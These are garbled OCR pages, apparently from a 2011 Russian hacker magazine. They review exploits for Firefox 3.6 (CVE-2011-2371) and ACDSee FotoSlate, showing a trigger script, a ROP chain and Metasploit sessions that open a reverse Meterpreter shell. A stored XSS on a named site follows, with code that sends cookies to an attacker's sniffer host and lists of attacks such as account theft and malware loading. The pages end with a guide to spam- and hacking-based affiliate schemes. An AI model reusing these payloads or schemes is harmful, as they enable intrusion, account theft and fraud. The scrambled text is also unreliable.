111 [AV:N/AC:L/AU:N/C :C/I:C/A:CI

1ШIШ

Дата релиза:

13 октября 2011 года. Rohlf, Уап lvnitskiy, Matteo Memelli, dookie2000ca, siпп3г, mг_me, TecRO c. CVE: CVE-2011-2371.

Авторы: Chгis

На этот раз речь пойдет о модуле для уязвимость в

Mozilla

F iгefox

3.6.

Metasploit,

который эксплуатирует

Суть уязвимости состоит в том, что в

процессеработы функции гeduceRight[l происходит выход за границы объекта массива в результате целочисленного переполнения.

1IШШ

Функция гeduceRight выполняет

callback

один раз для каждого

элемента в массиве и принимает четыре аргумента: первоначальное

ACDSee FotoSiate 4.0. Access Vi ol atioп. В следующий момент произойдет перезапись 5 ЕН -обработчика

ХАКЕР

значение [или значение предыдущего саiiЬасk-вызоваl, значение текущего элемента, текущий индекс и массив, над которым соверша-

12/155/2011

061

www.epidemz.net


ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

obj.length = 2197815382 ; f = function trigger(prev, myobj, indx, array) { alert(myobj[ e ]); obj.reduceRight(f, 1, 2, 3); </script> </body> </html> Функция spгayll в этом скрипте производит ханизма

ASLR. Для обхода

181F1886 1e1F188

РОР ЕАХ

183E8D78

МОV

183E8D7D

RETN

; <&KERNEL32.Virtua1Alloc>

ESI,DWORD PTR DS:[EAX] ; kernel32.Virtua1Alloc

1ЫD8еы

РОР Е8Р

1ЫD8ее3

RETN

1ее4еее1

РОР Е8Х

1ее4ееы

RETN

xul.18838768

EDX

РОР

184Е6918

RETN

1е2дсеее

РОР ЕСХ

1е2дсее1

RETN

Вызов функции гeduceRight в пользовательском JS-коде приводит к

1e2Eeees

РОР

вызову функции аггау_ехtга из jsаггау.срр . На строке

1ЫЕеее6

RETN

181F1886 1elF18e7

RETN

18283481 18283482

PUSHAD RETN

1е2дсее1

RETN

ются итерации. СаiiЬасk-функция применяется к двум значениям мас­

ме­

RETN

184Е6917

Firefox 3.6.16. Начало полезной нагрузки (generic/debug_trap)

heap spгaying для обхода

ОЕР и с пользуется следующая RОР-цепочка:

xul.184C26Fe

сива lв направлении справа налево), для того чтобы свести их в одно.

2740

свойству

EDI

xul.182AC881

Aггay.Length присваивается беззнаковое целое:

jsuint length; if (!js_GetlengthProperty(cx, obj, &length)) return JS_FALSE;

РОР ЕАХ

<&KERNEL32.Virtua1Alloc >

Продолжаем просматривать jsаггау. срр и внимательно смотрим на стро­ ку

2767. В случае если в JavaScгipt-кoдe вызывался метод гeduceRight, start, end и step инициализируются новыми значениями.

топеременные

Все эти переменные имеют тип jsiпt !знаковое целое) .

7С889АЕ1 7С889АЕ3

jsint start = е , end = length, step = 1; switch (mode) { case REDUCE_RIGHT: start = length - 1, end = -1, step = -1;

7С889АЕ4

7С889АЕ6 7С889АЕ9 7С889АЕС

start = length -1 , поскольку а length- беззнаковое. Вредоносный JS-

Проблема переполнения кроется в операции

start у нас знаковое

целое,

7C889AEF 7C889AF2 7C889AF4

скрипт, эксплуатирующий уязвимость, выглядит следующим образом:

<html> <head>

>

MOV EDI,EDI xul.182AC881 PUSH Е8Р MOV E8P,ESP PUSH DWORD PTR SS:[E8P+14] PUSH DWORD PTR SS:[E8P+18 ] PUSH DWORD PTR SS : [E8P+C] PUSH DWORD PTR SS:[E8P+8] PUSH -1 CALL kernel32.VirtualAllocEx ; устанавливаются права на запись/чтение/ ; исполнение на память

7C889AF9 7C889AFA

РОР Е8Р

18838768

JMP ESP ;

REТN

18

~/head>

<body> <object id="d"><object> <script> var myobject = document.getElement8yid( 'd' ); function spray() { 1/ ... }

spray(); obj = new Array;

прыгаем на

Эксплоит с недавнего времени доступен в

payload

Metasploit.

msf > use exploit/windows/browser/mozilla_reduceright msf exploit(mozilla_reduceright) > set payload windows/ meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(mozilla_reduceright) > set lhost 192.168.8.121 lhost => 192.168.8.121 msf exploit(mozilla_reduceright) > set uripath test

ХАКЕР

062

www.epidemz.net

12/155/2 011


ОБЗОР ЭКСПЛОИТОВ

и у профессионалов. Уязвимость в приложении была обнаружена еще

12

сентября этого года, а рабочий сплоит, оформленный в виде модуля для

Metasploit, написан месяцем позже. Суть уязвимости заключается в том, ACDSee FotoSiate 4.0 !сборка 146) происходит переполнении буфе­ ра в результате обработки п араметра id в элемен те Stгiпg, составленного

что в

специальным обра зом. Просмотр вредоносного РLР -файла при помощи

ACDSee FotoSiate указанной

версии приводит к выполнению произволь­

н о го кода на атакуемой машине . При переполнении буфера вып олняется

перезапись SЕН-обработчика на наш адрес. Далее используется класси­ ческая последовательность рор-рор-геt, чтобы передать управление на стек, где будет находиться полезная нагрузка . В данном случае бе р ется адрес Ох263а5Ь57 из библиотеки

ipwssl6.dll.

При тестировании эксплоита будем использовать в качестве по­ лезной нагрузки запуск калькулятора на атакуемой машине:

Пример исnользования зксnлоита для

msf > use exploit/windows/fileformat/acdsee_fotoslate_string msf exploit(acdsee_fotoslate_string) > set payload windows / exec payload => windows/exec msf exploit(acdsee_fotoslate_string) > set cmd calc . exe cmd => calc .exe msf exploit(acdsee_fotoslate_string) > exploit [ * ] Creating 'msf.plp' file . . . [ * ] Generated output file /home / pi kofarad/ .msf4/data / exploits / msf . plp

mod_proxy

uripath => test msf exploit(mozilla_reduceright) > exploit [ * ] Exp loit running as background job. [ * ] Started reverse hand ler on 192.168.е.121:4444

Е сли поль з о ватель на а такуемой машине вызовет этот файл, на

ней в ыполнитс я полезная н а г рузка !запуск к алькулятора) .

jf.! ;ldjfi ACDSee FotoSiate 4.0 Bui ld 146.

( * ] using URL: http: ;;e.e.e.e:sese; test [*] Local IP : http ://192.168.e.121:8e8e/ test [ * ] Server started .

,_i,]!liii•ЦI

exploit(mozilla_reduceright) > [*] Sending exploit to 192.168.е.123:1е74 .. . [*] Sending stage (752128 bytes) to 192.168 . е.123 [*] Meterpreter session 1 opened (192 . 168.е.121:4444 -> 192.168.е.12З:1е75) at 2е11-1е-17 18:З2:4е +е4ее [* ] Session ID 1 (192.168 .е .121:4444 - > 192.168.е.123 : 1е75) processing InitialAutoRunScript 'migrate -f' [*] Current server process: firefox.exe (1992) [*] Spawning notepad.exe process to migrate to [+] Migrating to 1652 [+] Successfully migrated to process

msf

На данны й мом ент не существует обно влени й, закрыв ающих эту уязвимо с ть . :х:

if.1 ьldjfi

Mozilla

Fiгefox

3.6.16, 3.6.17.

Существуют обновления, устраняющие эту уязвимость.

'

Перепопнение буфера в ACDSee FotoSiate в

процесс е обработки параметра вРLР-файпе

id, заданного

CVSSV2

10.0

111111 11 11111 111111

111 IAV:N/АС: L/AU: N/C:C/1 : С/ А:С)

ll1:iim

Дата релиза:

10

октября

2011 года . vazquez.

Автор : Paгvez Апwаг, juaп

CVE: CVE-201 1-2595. ACD FotoSiate- весьма

удобная программа для печати цифровых

фотографий, в которой доступны все распространенные форматы , в том числе 4х6 и 5х7. Она очень популярна как у обычных пользователей, так

ХАКЕР

БажныйкодвХогg

063

12 / 155/2011

www.epidemz.net


www.epidemz.net


Де мотивируй это!

-8§··

Онлайн Сниффер Добро пожаловать ,

qweeqweqweew q [ alias sygwoc5eqwlbwfv ) [ Выход )

[ Настрой к и 1

[ Изменить пароль 1 [ Изменить email 1

[ Лог )

Настройки Дополнительный АОМен (http //httpz net) ПоААерживается АОстуn по айпи (http.//152 137 21 О . 112) Записывать Пассивная

Наnример

ip

в лог

XS S

ur1 xss (http:l/site.com/xss.php?id=">)http://site.comlxss.php?id=%22%3E

(ГАе есть пассивная

xss

уязвимость ). Сам

javascript КОА

писать не нужно , он автоматически АОnишется скриптом

ur1 Страница ,

I<YAa

на редирекr

перенаправ~пся пользователь по сп е кражи кукис (указывать с префиксом

http:/1}

Сохранить Настройки 1 База пассивных xss на Форуме Коддля пассивной XSS атаки

j% ЗCSCRIPT type=text/javascript src=http://httpz. ru/ [Вставлять nocne ~) Паблик снифер

БЕЗУПРЕЧНАЯ ЗА Пролистав еще пару страниц демстиваторов и открыв очередную смешную картинку, я решил поближе взглянуть на устройство сайта.

Однако эта строка тоже ничего не дала . Атрибуты фильтровались,

Страничка выглядела довольно просто и казалась н еказистой : в шапке

мне удалось вставить только разрешенный тег <Ь> . То гда я решил

находилось меню, ниже распелагалея демотиватор , а дальше шли

составить список тегов , которые, возможно, не фильтруются:

комментарии, которые замыкал футер. Я решил попытать счастья и вставил комментарий с элементарным тегом <Ь>. Получилось что-то

<scrip:t> ,_ <img>, _$_b_щll!>., _.:_fr_a_т~s~t> ,_.<input>,

<sp;:~o> .._.

типа: <Ь>Всем привет! </Ь> . Ого, п одумал я, такой крупный портал- и на нем не фильтруются баналь ные треугольные скобки? Мое удивление быстро прошло, когда я попробовал внедрить теги <scгipt> и

Все

<body>.

Я понадеялся на то, что если в скрипт зашито что-нибудь вроде

РНР-функции stгip_tags[J, то фильтрацию получится обойти через

они фильтровались . Тогда мне захотелось потестить комментарии с по­

атрибуты. Вставив все эти теги в о дин комментарий, я очень уди­

мощью более сложного ХSS-вектора, который выглядел примерно так:

вился результату. Например, тег

<sCr<.RQ_<;I.Y> :i,P:t>

6~1ло: ста[lо:

<img>

изменился вот так:

<img src< IJttp:.//l.comjl.jpg :'> < ", .. h_ttp://l.coщ/l.jpg" > ..

Скрипт успешно скушал такое непотребство, но в итоге выдал сообщение о том, что комментарий сли шком короткий. Тут я по­

Сразу стало понятн о, что никакая это не функция stг ip_tags[J, а

д у мал, что если с крипт все-таки проп ускает определенные теги, то

что-то совершенно другое. Только в этот момент я догадался вы­

надо про верить, пропускает ли он их атрибуты .

яснить, на какой платформ е работает ресурс. Как оказалось, сайт на-

</ s p a n > <d ~v c l ass="body "> <sp a n c l ass=" u serna me"><a ~ r ef=" /u sers / 63 7 95 / ">SET< / a>< / spa n > <span c l ass="t ime">87 дней назад< / sра n ><Ьr / > ! ><html><head></head><body></body></html><frameset onLoact=•'alert (1) "></frameset < / d iv> <div c l ass="co:mme n tf o oter"> <а

i d="reply_to_5 0 390 63" c l ass="reply_ lin k"

~rеf=" # ">Ответить< / а>

ИнжектХSS

ХАКЕР

12/155/2011

065

www.epidemz.net


взлом

ГДЕ ХОСТИТЬ ЛОГИ СО СНИФЕРА?

ИНФ О РМ А ЦИЯ ДЛЯ С НИ ФЕРА

Для прогрузки всех вредоносных JS-скриптов и чтения логов снифера

Коды самых разнообразных сниферов уже неоднократно

при эксплуатации ХSS-бага обязательно понадобится специальный

рассматривались на страницах нашего журнала, позтому я напомню

хает. Тут е'сть два варианта: можно купить антиабузный сервер или вос­

тебе только об основной информации, которая обязательно должна

пользоваться бесплатным хостингом !такие сервисы легко гуглятсяl,

сохраняться в лагах при использовании

XSS:

что гораздо экономичнее, но в то же время трудозатратнее. Регистриро­ ваться на таком хостинге лучше с помощью прокси или носков. Однако как при этом быть с абузам и, которые, скорее всего, придут на твой ак­

каунт? Остается только один вариант-зарегистрировать 20-30 разных фришных доменов и подгружать JS-файл оттуда , откуда можно. Вот как реализуется на

JS обход таких « серверов-помощников>> :

$_5ERVER['HTTP_U5ER_AGENT ' ) - браузер; $_5ERVER['REMOTE_ADDR')- IР-адрес; $_SERVER['HTTP_REFERER')- реферер (откуда n ришли куки); date("d.m.y H:i") - время получения печенек; urldecode($_GET['c'])- nример переменной для вставки кукисов;

$_SERVER[ ' QUERY_STRING')-

var servers = [ 'http://freel.hostl.com/' 4 'http://free2.hostl.com/' ,

или такой код вместо

п еремен н ой.

'http://freeЗ.hostl.com/' ,

'http://freel.hostS.com/' , 'http://free2.host5.com/' , 'http://free3.host5 . com/'

]; for ( var key in servers)

{ document.getElemeпtByid( 'footer' ).innerHTML

+= 'cscript src="'+servers[key]+'"></script>' ; i f (loaded){ break ;}

Вкусные печеньки

} i f (loaded){ .. . } писан на Питоне, в котором нет функции stгip_tags!l. Более того, сайт Переменная

loaded, как видно из кода, не объявлена. А объявляется

построен на фреймварке Django, с которым я раньше не имел дела .

она как раз в подгружаемом скрипте, то есть после успешной

Скача в его исходник и, я поnробовал найти функцию, отвечающую за

загрузки выбирается сервер, который еще не забанен. Все отлично,

ХSS-фильтрацию. Но с Питоном я далеко не на «ТЫ», а поэтому, от­

ин же кт входит как нож в масло. Однако перед нами встает еще одна

крыв пару файлов, я все закрыл, забил на сайт и пошел на работу.

проблема-проверкалогов с этих серверов. Для этого достаточно у же одного главного сервера, который с помощью скрипта на том же РНР обходил бы файлы логов с этих серверов через прокси, тем самым

РАЗВИТИЕ СОБЫТИЙ После напряженного рабочего дня всегда хочется немного отдо­

оставаясь также анонимным. Например, просто сохранял бы себе в базу

хнуть, позтому я проверил почту, заглянул на Хабр и несколько

содержимое файлов

других сайтов в надежде найти что-нибудь новенькое, но в итоге

logs.txt, которые создаются снифером .

не обнаружил ничего для себя интересного и вновь сел мучить форму комментариев к демотиваторам. Внезапно меня посетила мысль о том, что хорошо бы посмотреть, как будут фильтроваться

любые возможные НТМL-теги. Погуглив по запросу <<теги HTML», я нашел их полный список на каком-то порталевеб-дизайнеров и вставил в ту же форму. Однако те теги, которым удалось пройубить девушку

2130000

ти фильтр, были абсолютно бесполезны для раскрутки ХSS­

убить время

уязвимости . И тут я почему-то вдру г вспомнил тег <! D ОСТУРЕ>,

убить любовь

который браузер использует для корректной обработки страниц.

убить собаку

С точки зрения эксплуатации XSS от этого тега нет никакого толку,

убить закена

но я все-таки решил проверить и его. Результат оказался более

••-------l•r~• убить мужа убить дерево

чем удивительным. После ввода бесполезный на первый взгляд тег превратился в следующую конструкцию:

убить крота

убить валакаса

c!>chtml><head></head><body></body></html > Сперва я подумал, что из-за усталости и большой дозы кофе мой мозг начал генерировать всякий бред, но, выпив еще пару глотков черного напитка, пришел к выводу, что ошибки всетаки нет. После того как я всего лишь ввел <!DOCTYPE>!, мне каким-то образом удалось вставить в исходник одной из страниц

demotivatoгs.гu сразу два потенциально опасных НТМL-тега l<html> и <body>). Возможно, причиной этому был ба г в фреймварке или косяк администратора, а может быть, тут постарапась нечистая Р усские хакеры- самые отчаянные

сила, которая изменила файлы в дата-центре.: - )

ХАКЕР

066

www.epidemz.net

12/155/2011


Демотивируй это!

ВАРИАНТЫ ЭКСПЛУАТАЦИИ Хотя

XSS не считается критической уязвимостью,

XSS

НА DEMOТIVATORS.RU

Заменить рекламу на сайте. Дела ется это до­

nоказывает картинку с символами для ввода,

при большом объеме трафика или на известном

статочно nросто: кл икаем

а также подменяет атрибут

ресурсе она становится довольно ощутимой. Вот

на ресурсе, смотрим, что это за nартнерка,

отnравки комментария и вставляет иденти­

регистрируемся там, nолучаем JavaScгipt-кoд,

фикатор каnчи. После сабмита все данные

а затем инжектим его через

!текст, комментарий и идентификатор каnчиl

2.

что можно было бы сделать с описанным багом:

1.

Купить за сотню-другую баксов

XSS на крупных

no любому баннеру

XSS в div-cлoй,

action у формы

проектах, таких как vkontakte . гu , ma il. гu ,

где уже находятся оригинальные баннеры,

nриходят к нам благодаря nодставному

уапdе х .гu и т. п. Затем вставить переход по этим

тем самым заменяя их. Наnример, nартнерка

асtiоn-атрибуту. По идентификатору мы на ­

XSS в рассмотренную выше дыру, тем самым

выдала нам такой код:

ходим конкретную картинку и соотносим с ней

разгаданный текст !наnример, в базе! .

сливая аккаунты всех пользователей с указан­ ных сайтов. Разумеется, аккаунты с самого сай­

<scri pt src; "http://partner.ru/ js.php?id;l23" ></script>

та d e m o ti vat oгs. гu тоже можно было бы слить. Пример того, как встроить еще несколько

либо платника с nомощью окон pop-undeг и

pop-up. Для этого достаточно nросто вставить

XSS с

в код тег <scгipt>, который выдаст nартнерка.

Тогда замена баннеров будет выглядеть

других сайтов:

5.

nримерно так:

Jl

4. Реализовать nереход на страницу какого­

function п(){ return new Image();} var xss_l;n(), xss_2;n(), xss_З;n(), sniff ; 'var х ; new Image(); x.src ; "http://tvoi.sniffer.comj?c;"+ escape(document.cookie); · ~ // Подгружаем nассивную

XSS

Накрутить nосещения через динамически встроенный ifгame. Вставка реализуется по­

Создание "изображения"

window ._on.load;function() { document.getElementByid( 'banners' ). innerHTML ; '<script src;"http:// partner. ru/js. php?id;123" ></script>' ; }

добно тому, как оnисано ранее.

6. Заменить де мотиватор на какую-либо рекла­ му с nомощью nары строк кода на JavaScгipt :

document.getElementByid( 'id_dema' ). src; 'http://host . ru/podmena.jpg' ;

с други х

nорталов как источник "изображения"

3. Сделать свой бесnлатный аналог антикаnча­

xss_l.src ; 'http://_sitel.ru/search. php?q;"><script>'+sniff+'</script>' ; xss_2.src ; 'http://site2.ru/search. php?q;"><script> ' +sniff+'</script> ' ; xss_З.src ; 'http://siteЗ.ru/search. php ?q;" ><script> '+sni ff+' </script>' ;

7.

Прогрузить малварь: инжектировать ifгame в

сервисов . Такой трюк реализуется с nомощью

тело страницы и загрузи ть соответствующий

комбинации

лоадер !n одробнее об айфреймах читай в

JS + РНР,

которая nросит nоль­

ноябрьском номере журнала!.

зова теля ввести код с капчи для отnравки

комментария . Схема очень nр оста: nодгружа­

8.

ем с нашего хоста JS-файл, генерируемый на

Объединить все nеречисленные варианты в ОДИН JS-файл.

основе еще не разгаданных каnч, JS-скриnт

Здесь {xss}- это любой javascгipt-кoд на твой вкус . У меня

Ваш комментарий

все отлично работало, сам комментарий не выдавал факт исполь­

[-

зования уязвимос ти . Было только одно но. Лента комментариев потихоньку наполнялась, а значит, вектор перемещался на другую

страницу. Это убивало его, так как контент подгружался через

AJAX . Поэтом у, проанали зировав исходник страницы, я решил про сто-на просто заблокировать кнопку отправки комментариев Комментировать могут только зарегистрированные авторы

с помощью HTML + JS. Кнопка выглядела кликабельной, но после нажатия комментарий никуда не отправлялся . Благодаря этому

Бажное поле

вектор просуществовал довольно долго.

Проверив все еще раз, я начал копать глубже. Самое интерес­ ное заключалось в том , что после ввода вышеозначенного тега

Вот таким вот интересным способом на достаточно крупном россий­

самописный фильтр начал кое-что пропускать. Более странного

ском портале была найдена серьезная уязвимость. С помощью нее

ХSS-фильтра, честно признаться, я никогда не встречал. В ре­

можно было бы натворить много нехороших дел, от прогрузки троя­

зультате выя снилось, что <IDQCTYPE> nросто-напросто влияет на nрохождение атрибутов, соответственно, мне оставалось только

нови до кражи пользовательских аккаунтов lкукисы также вполне успешно приходили на мой сниферl. П оскольку я придерживаюсь

найти тег, который можно было бы использовать для раскрутки

принципа «дружественных взломов>>, в мои планы не входило ис­

уяз вимо сти. В конце концов методом подбора я нашел тег, который

пользование обнаруженной XSS для причинения какого-либо вреда .

не фильтровался. Это был великий и могучий <FRAMESET>. Сырой

Единственное, что меня заинтересовало,- это количество трафика,

вектор атаки выглядел вот так:

проходящего через demotivatoгs.гu. Я повесил специально сформи­ рованный код со снифером на один из постеров главной страницы и начал отслеживать непрерывный поток посетителей . Моим глазам

< !DOCTYPE >< FRAМESET onload; "{xss}" ></ FRAМESET>

предстала довольно радужная картина: примерно через две минуты

Но сырое мясо кушать вредно, поэтому я решил подшлифовать вектор так, чтобы он был незаметным. Такая задача решается с помощью стилей:

я увидел цифру в

500

снебольшим уникальных пользователей.

Проанализировав примерное количество трафика за 12 часов 1180 тысяч уников!, я посчитал эту уязвимость критической и решил на­ писать в техподдержку сайта. Когда с момента обнаружения дырки

< !DOCTYPE> < FRAМESET

onload; "{xss}"

style; "display:none;" ></FRAМESET>

ХАКЕР

прошел почти месяц, администрация наконец соизволила залатать

ее. Желаю им успехов в продвижении и развитии своего проекта! :Х:

067

12/155/2011

www.epidemz.net


-

DBMX

взлом

. . . . . еньги пах н

ОБЗОР ПОПУЛЯРНЫХ ПАРТНЕРСКИХ ПРОГРАММ И МЕТОДОВ РАБОТЫ С НИМИ

Фармацевтические препараты, сайты для взрослых, онлайн­ казино , знакомства- на всем

эт ом можно неплохо заработать!

Мы собрали самые интересные и прибыльные способы, позво­ ляющ и е поднять кэш в интерне ­ те с помощью американского и

не Американский и европейский сегмент Сети (так называемый буржуй­

• www.master-x.com

нет)- это огромное поле для заработка, и денег на нем хватит на всех .

-популярны й

Главное- рассчитать свои силы и выбрать ту область работы с буржуй­

ресурс по теме

ским трафиком, которая подходит именно тебе. Далее я опишу разные

адалта .

по сложности и затратнести ниши. Если ты уверен в своих силах,

• www.aofuckbjz.com

выбирай самую прибыльную. Если сомневаешься, лучше присмотрись к

- « фору м успешны х

самым простым. Заняться чем-то более сложным ты всегда успеешь, а

веб-мастеров ».

вот неудачно вложенные средства вряд ли удастся вернуть. Также хочу

• www.rxpblog.com

отметить, что в этом материале я не стремился описать абсолютно все

-популярный

способы заработка, а выбрал лишь наиболее популярные, долгоиграю­

фарма·блог.

щие и доходные. Об остальных нишах ты легко сможешь узнать, если пройдешь по ссылкам, указанным в сносках, а также вос п ользуешься

европейского трафика.

великим и могучим Гуглом.

ЗА РАМКАМИ СТАТЬИ: ДРУГИЕ ТИПЫ ПАРТНЕРСКИХ ПРОГРАММ Контролы

ОЕМ

Дейтинг (знакомства)

СРА (оплата за действие)

В дополнен и е к фарм-партнерка м

Суть работы в этом сегме н те заклю­

Сегменточень тесно связан с

Как видно из названия, веб-мастер

нельзя не упомянут ь и о существо ­

чае т ся в продаже лицензионного

адалтом . Такой трафик, как правило,

получает деньги в результате

ва н ии приватных п артнерских

софт а, который обычно поставля­

монетизируетсянаплатникахпо

определенного действия, совершае­

программ, где п ро д аютс я «кон­

е т ся в комплек т ескомп ь ютерами.

поиску п артнеров д ля секса, п оэтому

мого посетителем на пар т не р ском

тралы»- препа р а ты , прира в не н ­

Такие л ицензии по л ьзуются боль­

веб-мастерполучаетдоходзареги­

сайте, например п ос л е регистра ци и,

ные к наркотикам. Но мы н е буд ем

шим с п росом, так как п родаются

страцию пользователя на платнике

заполнения анкеты или по д писки н а

портить себе карму и работать с

по куда более низкой цене, чем для

или процентотсуммы, потраченной

бесплатнуюуслугу

ними.

конечного потребителя .

этим же пользователем на дополни­

тельные сервисы.

ХАКЕР

068

www.epidemz.net

12/155/2011


Де ньги н е пахну т

••••• ••••• •••••

Прибыль н ость:

ФАРМА

Легкость в освоении:

Затратность:

Суть работы в этой нише заключается в продаже

дженериков lg_eпeгics, незапатентованные лекарственные препараты,которыепредставляютсобойаналоги

оригинальных брендовых таблеток] через интернет. Дженерики пользуются огромным спросом у жителей США, Канады и Западной Европы, так как эти медицинские

препараты продаются без рецепта, стоят существенно дешевле, чем оригинальные, и практически ничем от них не отличаются.

Задачавеб-мастера - привести посетителя, который с д е л ает покупку в партнерском шопе, и получить свои

чес т но заработанные

30-50%

от стоимости лекарства.

МЕТОДЫ ДОБЫЧИ ТРАФИКА Аптеки , шопы

клоаки н г средиректом на партнерскую аптеку

Профили

Парт нерка предоставляет веб-мастеру движок

Сущест вует множество сервисов, позволяю-

шопа. Веб-мастер, в свою очередь, <<уникализи­

!подробнее о техноло г иях клоакингачитай в сентябрьском номере журнала]. Э т от способ

рует>> контент и оптимизирует свою аптеку под

позволяет быстро заполучить заветных по­

Веб-мастера размещают на таких сер в исах

нужные поисковые запросы. Далее при помощи

сетите л ей . Е с л и ты не умее ш ь ломать сайты

свои дор в еи . Обычно они содержат красочную

мощной ссылочной базы lспам, ссылки со взло­

самостояте л ьно, он также станет для тебя

картинку, которая предлагает перейти на сайт

ма н н ы х сайтов, покупные ссылки с бирж] веб­

д о в оль н о д о р огос т оя щ им .

щих сделать свой профиль или создат ь благ.

парт н ерской а п теки, и текст, составленный из соответствую щ их кл ючевых слов. Такой дорвей

м асте р пр од вигает с в ой ш оп на верхние позиции в п о и ско в ых системах. Этот способ требует больших

Фарма-блоги

проспамливают, и есл и ресурс подобран пра­

трудозатрат и серьезных капиталовложений.

Это обычный мед и ц инский благ или дневник

вильно, т о уже примерно через не д елю можно

пенсионера, описывающего свои проблемы

рад о в ат ь ся первым посетителям. Это сам ы й

Взлом,дорвеи

с потенцией и ненавязчиво рекламирую щего

простой способ получения фарма - трафика из

В качестве донора используется взломанный

продукцию, которая ему помогла:]. Такие блоги

описанных в статье. Однако с некоторых пор

трастовый сайт. Дорвей заливается в одну из

обычно продвигаются по низкочастотным запро ­

Гугл жестко фильтрует подобные страницы с по­

директорий сайта. Также можно использовать

сам, что не требует больших финансовых затрат.

мощью своего нового алгоритма <<Панда>>.

СРАВНЕНИЕПАРТМЕРОК Phaгmcash.com

RX- P aгtпeгs . Ьiz

Начало работы

201 о

год

2006

Рейт/комиссия веб-мастера:

40%

от суммы заказа,

30 - 50%

Языки шаблонов апте к

Виды Процессинга

год

!за в иси т

при достижении отметки

от установленной

в в

наценки]

100 продаж- 45%, 300 продаж- 50%

английский, немецкий, итальянский, испанский, фра н цузский

Visa,

M asteгCaгd,

АС Н ,

Wire

Stimui-Cash.com

2006 75%

год

от наценки

OXOпetwo г k.com

2007 до

ГОД

70%

от наценки

на продукцию

на продукцию

английский, итальянский, испанский, ф р анцузский, португальский

ан глийский, ита л ьянский,

ан гл . , фр., н ем . , исп., итал.,

испанский, фран цузский, порту гал ь ский

яп . , кар., п ор т., норв.

Visa, MasteгCard, АС Н , Wire, MoпeyGram

Visa, MasterCard, АС Н , Wire, M o п eyGra m

Visa,

E uro D eЬit, АС Н ,

Минимальная выплата

$100

$100

$50

$1 00

Холд/задержка выплат

одна неделя

две недели, для постоянных

одна неделя

о д на не д еля

с в обо д ная

Wire

адвертов - одна неделя

Тип регистрации

свободная

по инвайтам

свобод н ая

Преимущества

высокий рейт, периоди-

гибкий движок аптек с

ПОСТОЯННО П рОХОДЯТ

мулыиязыч н ость аптек

чески проходит акция

ма н уалами на русском

конкурсы и вечеринки для

110 языко в ],

<<Форсаж>> !увеличение комиссии в д ва раза]

языке, постоянно проходят

адвертов

ный дизайн д ля акти в ных

ко н курсы с хорошими

индиви д уаль-

а д вер т о в

призам и и классные вечеринки

ХАКЕР

069

12/155/2011

www.epidemz.net


взлом

••••• ••••• •••••

Пр ибыльность :

АДАЛТ

Л егкость в освоении: Затратность:

Адалт- это самый старый способ заработка в Сети. Его суть заключается в продаже под­ писок на tайты с « взрослым >> медиаконтентом.

Золотым веком адалта принято считать первую пятилетку двухтысячных. Сейчас, с появлени­ ем таких видеосервисов, как x h amsteг.co m и

ему п о до бн ы х, адалт переживает не лучшие времена . Люди уже не так легко расстаются с деньгами, как раньше. Зачем отдавать свои кровные, если можно воспользоваться бес­ платным контентом на халявных видеосерви­

сах? Однако не стоит совсем сбрасывать этот сегмент со счетов, так как в нем по-прежнему

можно заработать неплохие деньги. Не нужно лезть в мейнстрим, выбирай более узкую нишу, и конверт будет на высоте. Средняя стоимость

подписки составляет

$30. В зависимости от

партнерской программы комиссия веб-мастера

достигает

40-60%.

Подписки нередко прод­

левают, что также очень выгодно. Некоторые партнерские программы предлагают веб­ мастеру не процент с подписки , а единовре­

менную плату за приведенного клиента. При этом ты не получаешь комиссию с повторных

подписок [ ребилловl, зато изначально тебе платят пр имерно в два раза больше.

МЕТОДЫ ДОБЫЧИ ТРАФИКА Дорвеи на фрихостингах

обычно используется спам по форумам, благам

программойl. Для т ого чтобы увидеть больше,

Дорвеи- это автоматически генерируемые

и гостевым или собственные ресурсы [трам­

пользователь должен перейти с

странички, находящиеся на Фрихаетингах и

плины!. Процесссозданиятрамплинов хорошо

платник и купить подписку. Чтобы воспользо­

заточенные под низкочастотные запросы в

описан в прошлом номере нашего журнала в

ваться этим методом , веб-мастеру придется

поисковых системах . В большинстве случаев

статье «Сп логи на WoгdPгess от А до Я>> .

потратиться на хороший дизайн и, разумеется,

пользователи переходят на платник п о кра­

FGH

на сам

на про д вижение сиджа, то есть понести срав­

соч н ому баннеру, а иногда перенаправляются

Сиджи

редиректом. Сейчас также популярны так

Сидж - это сайт в виде фотогалереи. После

нительнонебольшие расходы.

называемые ДДЛ [дорвеи для людей!, которые

нажатия на порнокартинку пользователь пере­

неопытному пользователю трудно распознать

ходит на FGH [страничка с бесплатным кон­

Принцип создания ничем не отличается от

с первого взгляда. Для продвижения дорвеев

тентом, которая предоставляется партнерской

описанного в разделе о фарме.

Профили

СРАВНЕНИЕПАРТМЕРОК Royai -Cash .com Начало работы

Рейт/комиссия веб-мастера

2001

го д

50-60% или $30-40

EaгnCoin . com

2003

год

Aepaгtneгship.com

2003

год

FeггoCash.com

1999

год

CashManiacs.com

2003

год

50%

50%

50%

50%

44

23

173

58

128

check, wiгe, Рауоnеег, WebMoney, Paxum, eCoin

check, wiгe, WebMoney, Paxum, eCoin, ePese

wiгe, Рауоnеег,

Paxum,

WebMoney, Paxum, eCoin

ePaySeгvice

check, wiгe, WebMoney, Paxum,

Минимальная выплата

$100

$100

$300

$50

Холд/эадержка выплат

три дня

три дня

одна неделя

две недели

с каждого клиента

Количествоплатников Метод оплаты веб-мастерам

АС Н ,

ePaySeгvice

ХАКЕР

070

www.epidemz.net

12/155/2011


Деньги не п ахнут

РРС (РАУ

PER CLICK)

••••• ••••• •••••

П рибыльность : Л егкость в освоении: Затратность:

Су т ь заработка в этом се г менте кроется в самом названии. Рау ре г

cl ick- это

баналь н ая оплата за клик. РРС-партнерка представ­

ляет собой в н'екотором роде биржу т рафика, продажей которого и занимается веб-мастер . В сем таким продавцам выдаетс я так на­

зываемый фид !блок с рекламными объявлениями), который уста­ навливается на сайт, сплог или дорвей . Конечный пользователь видит релевантное поисковому запросу объявление , заточенное под страницу твоего ресурса. Кликнув на объявление, пользова­ тель пе р ей д ет на сайт рекламодателя , тебе при этом зачислится

оп р е д еленная сумма. Ст оимость клика IЬid) зависит от того, под

какой п оисковый за п рос lкей) с д елана д анная страница . Напри­ мер , поисковый запрос, связа н н ы й со страхованием, ц енится куда больше, чем ада л т-зап р осы. В каждой Р РС- п артнерке указыва­ ется стоимость к л ика для л юбо г о кея. Ещ е о д ним немаловажным фактором, о п ре д еляющим Ьid , я в ляется качество трафика. Главное преимущества данного сегмента заключается в том, что в нем от­

